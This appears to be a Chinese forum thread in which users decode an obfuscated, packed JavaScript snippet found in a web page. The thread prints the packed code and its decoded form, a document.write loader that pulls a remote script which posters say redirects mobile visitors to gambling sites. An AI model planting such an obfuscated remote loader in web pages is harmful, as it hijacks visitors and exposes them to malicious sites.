这个代码有懂的吗?
<script> type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r=k||e(c);k=}];e=function(){return'\\w+'};c=1};while(c--)if(k)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k);return p}('n(f(p,a,c,k,e,r){e=f(c){h c.o(a)};i(!\'\'.j(/^/,q)){l(c--)r=k||e(c);k=}];e=f(){h\'\\\\w+\'};c=1};l(c--)i(k)p=p.j(s t(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k);h p}(\'1["2"]["3"](\\\'<0 4="5/6" 7="8://9.a.b/c.d"></0>\\\');\',m,m,\'u|v|x|y|z|A|B|C|D|E|F|G|H|I\'.J(\'|\'),0,{}))',46,46,'|||||||||||||||function||return|if|replace||while|14|eval|toString||String||new|RegExp|script|window||document|write|type|text|javascript|src|https|www|tbozb2024|com|tb2024|js|split'.split('|'),0,{}))</script> 这行代码的功能是在当前网页的文档流中写入一个新的<script>标签,并引用一个远程的JavaScript文件(https://www.tbozb2024.com/tb2024.js) 混淆代码,加载并执行一个外部的JavaScript文件document.write('<script type="text/javascript" src="https://www.tbozb2024.com/tb2024.js"></script>'); 删了吧,会跳转到其他网站 跳灰色广告代码 这个在哪看到的 加密代码解密看看 远程加载的js文件,https://www.tbozb2024.com/tb2024.js 就是混淆代码,移动端跳bc网站 解码后,可以看到它实际上是加载一个外部 JavaScript 文件的代码片段,该文件位于 https://www.tbozb2024.com/tb2024/js,然后执行其中的代码。
页:
[1]
2